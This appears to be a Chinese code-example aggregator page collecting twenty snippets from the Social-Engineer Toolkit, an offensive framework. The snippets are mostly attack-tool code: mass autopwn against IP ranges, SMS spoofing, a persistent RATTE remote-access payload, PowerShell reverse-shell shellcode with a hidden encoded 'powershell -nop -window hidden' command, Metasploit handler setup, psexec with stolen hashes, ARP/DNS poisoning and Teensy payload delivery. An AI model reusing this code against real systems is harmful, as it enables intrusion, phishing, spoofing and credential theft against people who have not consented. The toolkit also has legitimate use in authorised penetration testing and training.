本文整理汇总了Python中src.core.setcore.setprompt函数的典型用法代码示例。如果您正苦于以下问题:Python setprompt函数的具体用法?Python setprompt怎么用?Python setprompt使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了setprompt函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: do_autopwn
def do_autopwn():
print "Doing do_autopwn"
# pull the metasploit database
database = setcore.meta_database()
range = raw_input(setcore.setprompt(["19", "20"], "Enter the IP ranges to attack (nmap syntax only)"))
# prep the answer file
prep(database, range)
confirm_attack = raw_input(setcore.setprompt(["19", "20"], "You are about to attack systems are you sure [y/n]"))
# if we are sure, then lets do it
if confirm_attack == "yes" or confirm_attack == "y":
launch()
开发者ID:GHubgenius,项目名称:social-engineer-toolkit,代码行数:13,代码来源:autopwn.py
示例2: _do_sms
def _do_sms():
print("""\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""")
print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
"This is a third party service outside of the control from the Social-Engineer Toolkit. "
"The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
"to use in order to allow SET to perform the SMS spoofing. You will need to visit "
"https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
"payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
"plan that you want, you will need to remember your email address and password used for "
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
core.print_status("Note that the password below will be masked and you will not see the output.")
pw = getpass.getpass(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
tonumber = input(core.setprompt(["7"], "Enter the number to send the SMS TO - be sure to include "
"country code (example: +15551234567)"))
fromnumber = input(core.setprompt(["7"], "Enter the number you want to come FROM - be sure to include "
"country code (example: +15551234567)"))
message = input(core.setprompt(["7"], "Enter the message you want to send via the text message"))
# note that the function for this is in a compiled python file with no source -
# this was done at the request of the third party we use since the API is not documented.
# I hand wrote the code and can validate its authenticity - it imports python requests
# and json and uses that to interact with the API. From a security standpoint if you are
# uncomfortable using this - feel free to ping me and I can walk you through what I do
# without giving away the API from the third party.
from src.sms.protectedapi import send_sms
send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber, message)
else:
core.print_status("Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector...")
开发者ID:FatihZor,项目名称:social-engineer-toolkit,代码行数:60,代码来源:sms.py
示例3: main
def main():
############
# get User Input
############
ipaddr=raw_input(core.setprompt(["9", "2"], "IP address to connect back on"))
try:
ratteport=int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on")))
while ratteport==0 or ratteport > 65535:
core.PrintWarning('Port must not be equal to javaport!')
ratteport=int(raw_input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
except ValueError:
ratteport=8080
persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent="NO"
else:
persistent="YES"
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr,ratteport,persistent,customexe)
core.PrintStatus("Payload has been exported to src/program_junk/ratteM.exe")
############
# start ratteserver
############
prompt=raw_input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
if prompt == "yes" or prompt == "" or prompt == "y":
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
开发者ID:BrzTit,项目名称:SET,代码行数:36,代码来源:ratte_only_module.py
示例4: file
for name in glob.glob("modules/*.py"):
counter = counter + 1
fileopen = file(name, "r")
for line in fileopen:
line = line.rstrip()
match = re.search("MAIN=", line)
if match:
line = line.replace('MAIN="', "")
line = line.replace('"', "")
line = " " + str(counter) + ". " + line
print line
print "\n 99. Return to the previous menu\n"
choice = raw_input(setcore.setprompt(["9"], ""))
if choice == 'exit':
setcore.ExitSet()
if choice == '99':
menu_return = "true"
# throw error if not integer
try:
choice = int(choice)
except:
setcore.PrintWarning("An integer was not used try again")
choice = raw_input(setcore.setprompt(["9"], ""))
# start a new counter to match choice
开发者ID:BrzTit,项目名称:SET,代码行数:31,代码来源:module_handler.py
示例5: input
import subprocess
import src.core.setcore as core
from src.core.menu import text
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
core.debug_msg(core.mod_name(), "printing 'text.powershell menu'", 5)
show_powershell_menu = core.create_menu(text.powershell_text, text.powershell_menu)
powershell_menu_choice = input(core.setprompt(["29"], ""))
if powershell_menu_choice != "99":
# specify ipaddress of reverse listener
#ipaddr = core.grab_ipaddress()
ipaddr = raw_input("Enter the IPAddress or DNS name for the reverse host: ")
core.update_options("IPADDR=" + ipaddr)
# if we select alphanumeric shellcode
if powershell_menu_choice == "1":
port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT=" + port)
core.update_options("POWERSHELL_SOLO=ON")
core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")
开发者ID:rlugojr,项目名称:social-engineer-toolkit,代码行数:31,代码来源:powershell.py
示例6: auxiliary
# SMBPass no The password for the specified username
# SMBSHARE C$ yes The name of a writeable share on the server
# SMBUser no The username to authenticate as
# THREADS 1 yes The number of concurrent threads
# WINPATH WINDOWS yes The name of the remote Windows directory
# msf auxiliary(psexec_command) >
# grab config options for stage encoding
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
rhosts = input(core.setprompt(["32"], "Enter the IP Address or range (RHOSTS) to connect to")) # rhosts
# username for domain/workgroup
username = input(core.setprompt(["32"], "Enter the username"))
# password for domain/workgroup
password = input(core.setprompt(["32"], "Enter the password or the hash"))
domain = input(core.setprompt(["32"], "Enter the domain name (hit enter for logon locally)")) # domain name
threads = input(core.setprompt(["32"], "How many threads do you want [enter for default]"))
# if blank specify workgroup which is the default
if domain == "":
domain = "WORKGROUP"
# set the threads
if threads == "":
threads = "15"
payload = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=").lower()
开发者ID:Cloudxtreme,项目名称:social-engineer-toolkit,代码行数:30,代码来源:psexec.py
示例7: print
you to have a Teensy device with a soldered USB device on it and place the
file that this tool outputs in order to successfully complete the task.
It works by reading natively off the SDCard into a buffer space thats then
written out through the keyboard.
""")
# if we hit here we are good since msfvenom is installed
print("""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
enabled.\n""")
# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if not os.path.isfile(path):
while True:
core.print_warning("Filename not found, try again")
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if os.path.isfile(path):
break
core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.")
core.print_status("Converting the executable to a hexadecimal form to be converted later...")
with open(path, "rb") as fileopen:
data = fileopen.read()
data = binascii.hexlify(data)
with open("converts.txt", "w") as filewrite:
filewrite.write(data)
开发者ID:Cloudxtreme,项目名称:social-engineer-toolkit,代码行数:31,代码来源:sd2teensy.py
示例8: file
# make directory if it's not there
if not os.path.isdir("src/program_junk/web_clone/"):
os.makedirs("src/program_junk/web_clone/")
# grab ip address and SET web server interface
if os.path.isfile("src/program_junk/interface"):
fileopen = file("src/program_junk/interface", "r")
for line in fileopen:
ipaddr = line.rstrip()
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file ("src/program_junk/ipaddr.file", "r")
for line in fileopen:
webserver = line.rstrip()
if not os.path.isfile("src/program_junk/ipaddr.file"):
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on for the reverse listener"))
else:
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file("src/program_junk/ipaddr.file", "r")
for line in fileopen:
ipaddr = line.rstrip()
webserver = ipaddr
# grab port options from payloadgen.py
if os.path.isfile("src/program_junk/port.options"):
fileopen = file("src/program_junk/port.options", "r")
for line in fileopen:
port = line.rstrip()
else:
port = raw_input(setcore.setprompt("0", "Port you want to use for the connection back"))
开发者ID:AazibSafi,项目名称:pwn_plug_sources,代码行数:31,代码来源:payloadprep.py
示例9: print
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print ("\n [****] Custom Template Generator [****]\n")
author=raw_input(core.setprompt(["7"], "Name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
origin=raw_input(core.setprompt(["7"], "Source phone # of the template"))
subject=raw_input(core.setprompt(["7"], "Subject of the template"))
body=raw_input(core.setprompt(["7"], "Body of the message"))
filewrite=file("src/templates/sms/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('ORIGIN='+'"'+origin+'"\n\n')
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
core.print_error("An error occured:")
core.print_error("ERROR:" + str(e))
开发者ID:1112223334,项目名称:social-engineer-toolkit,代码行数:22,代码来源:custom_sms_template.py
示例10: print
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
pw = input(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
开发者ID:LeShadow,项目名称:social-engineer-toolkit,代码行数:30,代码来源:sms.py
示例11:
After the conversion takes place, Alphanumeric shellcode will then be injected
straight into memory and the stager created and shot back to you.
""")
# if we dont detect metasploit
if not os.path.isfile(msf_path):
sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n")
# if we hit here we are good since msfvenom is installed
###################################################
# USER INPUT: SHOW PAYLOAD MENU 2 #
###################################################
show_payload_menu2 = core.create_menu(payload_menu_2_text, payload_menu_2)
payload = (input(core.setprompt(["14"], "")))
if payload == "exit":
core.exit_set()
# if its default then select meterpreter
if payload == "":
payload = "2"
# assign the right payload
payload = ms_payload(payload)
# if we're downloading and executing a file
url = ""
port = ""
if payload == "windows/download_exec":
开发者ID:Cabalist,项目名称:social-engineer-toolkit,代码行数:30,代码来源:binary2teensy.py
示例12: check_options
etterpath=re.search("ETTERCAP_PATH=", line)
if etterpath:
line=line.rstrip()
path=line.replace("ETTERCAP_PATH=", "")
if not os.path.isfile(path):
path = ("/usr/local/share/ettercap")
# if we are using ettercap then get everything ready
if ettercapchoice== 'y':
# grab ipaddr
if check_options("IPADDR=") != 0:
ipaddr = check_options("IPADDR=")
else:
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on: "))
update_options("IPADDR=" + ipaddr)
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
开发者ID:R41nB0W,项目名称:social-engineer-toolkit,代码行数:31,代码来源:arp.py
示例13: prep_powershell_payload
def prep_powershell_payload():
# grab stage encoding flag
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
# check to see if we are just generating powershell code
powershell_solo = core.check_options("POWERSHELL_SOLO")
# check if port is there
port = core.check_options("PORT=")
# check if we are using auto_migrate
auto_migrate = core.check_config("AUTO_MIGRATE=")
# check if we are using pyinjection
pyinjection = core.check_options("PYINJECTION=")
if pyinjection == "ON":
# check to ensure that the payload options were specified right
if os.path.isfile(os.path.join(core.setdir, "payload_options.shellcode")):
pyinjection = "on"
core.print_status("Multi/Pyinjection was specified. Overriding config options.")
else:
pyinjection = "off"
# grab ipaddress
if core.check_options("IPADDR=") != 0:
ipaddr = core.check_options("IPADDR=")
else:
ipaddr = input("Enter the ipaddress for the reverse connection: ")
core.update_options("IPADDR=" + ipaddr)
# check to see if we are using multi powershell injection
multi_injection = core.check_config("POWERSHELL_MULTI_INJECTION=").lower()
# turn off multi injection if pyinjection is specified
if pyinjection == "on":
multi_injection = "off"
# check what payloads we are using
powershell_inject_x86 = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=")
# if we specified a hostname then default to reverse https/http
if not core.validate_ip(ipaddr):
powershell_inject_x86 = "windows/meterpreter/reverse_http"
# prompt what port to listen on for powershell then make an append to the current
# metasploit answer file
if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
core.print_status("POWERSHELL_INJECTION is set to ON with multi-pyinjector")
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
with open(os.path.join(core.setdir, "meta_config_multipyinjector")) as fileopen:
data = fileopen.read()
match = re.search(port, data)
if not match:
with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"set EnableStageEncoding {3}\n"
"set ExitOnSession false\n"
"exploit -j\n".format(powershell_inject_x86, ipaddr, port, stage_encoding))
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
# check to see if the meta config multi pyinjector is there
if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
if core.check_options("PORT=") != 0:
port = core.check_options("PORT=")
# if port.options isnt there then prompt
else:
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
# turn off multi_injection if we are riding solo from the powershell menu
if powershell_solo == "ON":
multi_injection = "off"
pyinjection = "on"
# if we are using multi powershell injection
if multi_injection == "on" and pyinjection == "off":
core.print_status("Multi-Powershell-Injection is set to ON, this should be sweet...")
# define a base variable
x86 = ""
# specify a list we will use for later
multi_injection_x86 = ""
#.........这里部分代码省略.........
开发者ID:Cabalist,项目名称:social-engineer-toolkit,代码行数:101,代码来源:prep.py
示例14: raw_input
import subprocess
import os
import re
import sys
from src.core import setcore
# definepath
definepath=os.getcwd()
sys.path.append(definepath)
meta_path = setcore.meta_path()
# launch msf listener
setcore.PrintInfo("The payload can be found in the SET home directory.")
choice = raw_input(setcore.setprompt("0", "Start the listener now? [yes|no]"))
if choice == "yes" or choice == "y":
# if we didn't select the SET interactive shell as our payload
if not os.path.isfile("src/program_junk/set.payload"):
setcore.PrintInfo("Please wait while the Metasploit listener is loaded...")
subprocess.Popen("ruby %s/msfconsole -L -n -r src/program_junk/meta_config" % (meta_path), shell=True).wait()
# if we did select the set payload as our option
if os.path.isfile("src/program_junk/set.payload"):
fileopen = file("src/program_junk/port.options", "r")
set_payload = file("src/program_junk/set.payload", "r")
port = fileopen.read().rstrip()
set_payload = set_payload.read().rstrip()
if set_payload == "SETSHELL":
setcore.PrintInfo("Starting the SET Interactive Shell Listener on %s." % (port))
开发者ID:BrzTit,项目名称:SET,代码行数:31,代码来源:solo.py
示例15: raw_input
sys.path.append("../")
try:
while 1:
setcore.show_banner(define_version,'1')
###################################################
# USER INPUT: SHOW MAIN MENU #
###################################################
show_main_menu = setcore.CreateMenu(text.main_text, text.main)
# special case of list item 99
print '\n 99) Return back to the main menu.\n'
main_menu_choice = (raw_input(setcore.setprompt("0", "")))
if main_menu_choice == 'exit':
break
if main_menu_choice == '1': #'Spearphishing Attack Vectors
while 1:
###################################################
# USER INPUT: SHOW SPEARPHISH MENU #
###################################################
show_spearphish_menu = setcore.CreateMenu(text.spearphish_text, text.spearphish_menu)
spearphish_menu_choice = raw_input(setcore.setprompt(["1"], ""))
if spearphish_menu_choice == 'exit':
开发者ID:BrzTit,项目名称:SET,代码行数:30,代码来源:set.py
示例16: mod_name
from src.core.setcore import debug_msg, mod_name
me = mod_name()
while 1:
print """
SMS Attack Menu
There are diferent attacks you can launch in the context of SMS spoofing,
select your own.
1. SMS Attack Single Phone Number
2. SMS Attack Mass SMS
99. Return to SMS Spoofing Menu\n"""
attack_option=raw_input(core.setprompt("0",""))
if attack_option == 'exit':
core.exit_set()
# exit
if attack_option == '1':
print("\nSingle SMS Attack")
to = raw_input(core.setprompt(["7"], "Send sms to"))
phones = list()
phones.append(to)
sys.path.append("src/sms/client/")
try:
# ugly but "compliant" with SET architecture
debug_msg(me,"importing 'src.sms.client.sms_launch'",1)
reload(sms_launch)
sms_launch.phones = phones
开发者ID:1112223334,项目名称:social-engineer-toolkit,代码行数:31,代码来源:sms_client.py
示例17: deploy_hex2binary
#.........这里部分代码省略.........
# convert the binary to hex
data = binascii.hexlify(data)
# we write out binary out to a file
with open(os.path.join(core.setdir + "payload.hex"), "w") as filewrite:
filewrite.write(data)
if choice1 == "1":
# if we are using metasploit, start the listener
if not os.path.isfile(os.path.join(core.setdir + "set.payload")):
if operating_system == "posix":
try:
core.module_reload(pexpect)
except:
import pexpect
core.print_status("Starting the Metasploit listener...")
msf_path = core.meta_path()
child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
os.path.join(core.setdir + "meta_config")))
# random executable name
random_exe = core.generate_random_string(10, 15)
#
# next we deploy our hex to binary if we selected option 1 (powershell)
#
if option == "1":
core.print_status("Using universal powershell x86 process downgrade attack..")
payload = "x86"
# specify ipaddress of reverse listener
ipaddr = core.grab_ipaddress()
core.update_options("IPADDR=" + ipaddr)
port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
core.update_options("POWERSHELL_SOLO=ON")
core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")
#with open(os.path.join(core.setdir + "/payload_options.shellcode"), "w") as filewrite:
# format needed for shellcode generation
filewrite = file(core.setdir + "/payload_options.shellcode", "w")
filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
filewrite.close()
try:
core.module_reload(src.payloads.powershell.prep)
except:
import src.payloads.powershell.prep
# launch powershell
#prep_powershell_payload()
# create the directory if it does not exist
if not os.path.isdir(os.path.join(core.setdir + "reports/powershell")):
os.makedirs(os.path.join(core.setdir + "reports/powershell"))
#with open(os.path.join(core.setdir + "x86.powershell")) as x86:
x86 = file(core.setdir + "x86.powershell").read().rstrip()
# x86 = x86.read()
x86 = "powershell -nop -window hidden -noni -e {0}".format(x86)
core.print_status("If you want the powershell commands and attack, "
开发者ID:s0j0hn,项目名称:social-engineer-toolkit,代码行数:67,代码来源:mssql.py
示例18: input
newpath = input("Enter the path to the .jar file: ")
if os.path.isfile(newpath):
break
# import into SET
core.print_status("Importing the applet into SET for weaponization...")
shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar.orig"))
shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar"))
core.print_status("The applet has been successfully imported into SET.")
# if we want to either generate a certificate or use our own certificate
# this is it
if firstprompt == "2":
cert_path = ""
# prompt for a different certificate
prompt = input(core.setprompt("0", "Have you already generated a code signing-certificate? [yes|no]")).lower()
# if we selected yes if we generated a code signing certificate
if prompt == "yes" or prompt == "y":
# prompt the user to import the code signing certificate
cert_path = input(core.setprompt("0", "Path to the code signing certificate file (provided by CA)"))
if not os.path.isfile(cert_path):
# loop forever
while True:
core.print_error("ERROR:Filename not found. Try again.")
# re-prompt if we didn't file the filename
cert_path = input(core.setprompt("0", "Path to the .cer certificate file"))
# if we find the filename then break out of loop
if os.path.isfile(cert_path):
break
# here is where we import the certificate
开发者ID:Cabalist,项目名称:social-engineer-toolkit,代码行数:31,代码来源:verified_sign.py
示例19: print
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print ("\n [****] Custom Template Generator [****]\n")
print ("\n Always looking for new templates! In the set/src/templates directory send an email\nto [email protected] if you got a good template!")
author=raw_input(core.setprompt("0", "Name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
subject=raw_input(core.setprompt("0", "Email Subject"))
try:
body=raw_input(core.setprompt("0", "Message Body, hit return for a new line. Control+c when you are finished"))
while body != 'sdfsdfihdsfsodhdsofh':
try:
body+=(r"\n")
body+=raw_input("Next line of the body: ")
except KeyboardInterrupt: break
except KeyboardInterrupt: pass
filewrite=file("src/templates/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
print " An error occured, printing error message: "+str(e)
开发者ID:AazibSafi,项目名称:pwn_plug_sources,代码行数:27,代码来源:custom_template.py
示例20: main
def main():
valid_site = False
valid_ip = False
valid_response = False
input_counter = 0
#################
# get User Input
#################
# ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
while valid_ip != True and input_counter < 3:
ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error("\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
# try:
# ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
# while ratteport==0 or ratteport > 65535:
# print_warning('Port must not be equal to javaport!')
# ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
# except ValueError:
# ratteport=8080
try:
ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
while ratteport == 0 or ratteport > 65535:
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on [8080]")))
except ValueError:
# core.print_info("Port set to default of 8080")
ratteport = 8080
# persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# if persistent == 'no' or persistent == '' or persistent == 'n':
# persistent='NO'
# else:
# persistent='YES'
while not valid_response:
persistent = input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
persistent = str.lower(persistent)
if persistent == "no" or persistent == "n":
persistent = "NO"
valid_response = True
elif persistent == "yes" or persistent == "y":
persistent = "YES"
valid_response = True
else:
core.print_warning(text.YES_NO_RESPONSES)
valid_response = False
customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr, ratteport, persistent, customexe)
core.print
|
请发表评论